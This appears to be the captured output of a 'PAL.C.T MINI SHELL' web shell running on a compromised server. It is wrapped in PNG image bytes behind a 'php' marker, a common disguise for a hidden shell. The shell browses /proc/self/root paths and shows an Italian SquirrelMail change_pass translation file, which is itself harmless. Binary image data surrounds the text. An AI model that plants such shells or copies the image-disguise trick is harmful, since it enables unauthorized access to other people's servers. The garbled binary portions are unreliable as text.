php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/it_IT/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/it_IT/LC_MESSAGES/change_pass.po

# Italian (it_IT) change_pass Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Andrea Volani <andreavola@gmail.com>, 2009.
# $Id$
msgid ""
msgstr ""
"Project-Id-Version: change_pass 3.0\n"
"Report-Msgid-Bugs-To: Seth Randall <indiri69@users.sourceforge.net>\n"
"POT-Creation-Date: 2009-05-09 11:25-0600\n"
"PO-Revision-Date: 2009-05-21 13:07+0100\n"
"Last-Translator: Andrea Volani <andreavola@gmail.com>\n"
"Language-Team: Italian <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: functions.php:13 options.php:86
msgid "Change Password"
msgstr "Cambia password"

#: functions.php:35
#, php-format
msgid "Connection error: %s"
msgstr "Errore connessione: %s"

#: options.php:108
msgid "Current Password:"
msgstr "Password corrente:"

#: options.php:112
msgid "New Password:"
msgstr "Nuova password:"

#: functions.php:56
msgid "Password change was not successful!"
msgstr "La modifica della pasword non è andata a buon fine!"

#: functions.php:15
msgid "Use this to change your email password."
msgstr "Usa questo per cambiare la password della tua casella email."

#: functions.php:138
msgid "User's Password"
msgstr "Password utente"

#: options.php:116
msgid "Verify New Password:"
msgstr "Verifica nuova password:"

#: options.php:52
msgid "You must also type in your new password in the verify box."
msgstr "Devi inserire la nuova password nel campo di verifica."

#: options.php:48
msgid "You must type in a new password."
msgstr "Devi inserire una nuova password."

#: options.php:44
msgid "You must type in your current password."
msgstr "Devi inserire la password corrente."

#: options.php:69
msgid "Your current password is not correct."
msgstr "La password corrente non è corretta."

#: options.php:57
msgid "Your new password does not match the verify password."
msgstr "La nuova password e la verifica non corrispondono."

#: options.php:61
#, php-format
msgid "Your new password should be %s to %s characters long."
msgstr "La nuova password deve essere lunga da %s a %s caratteri."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`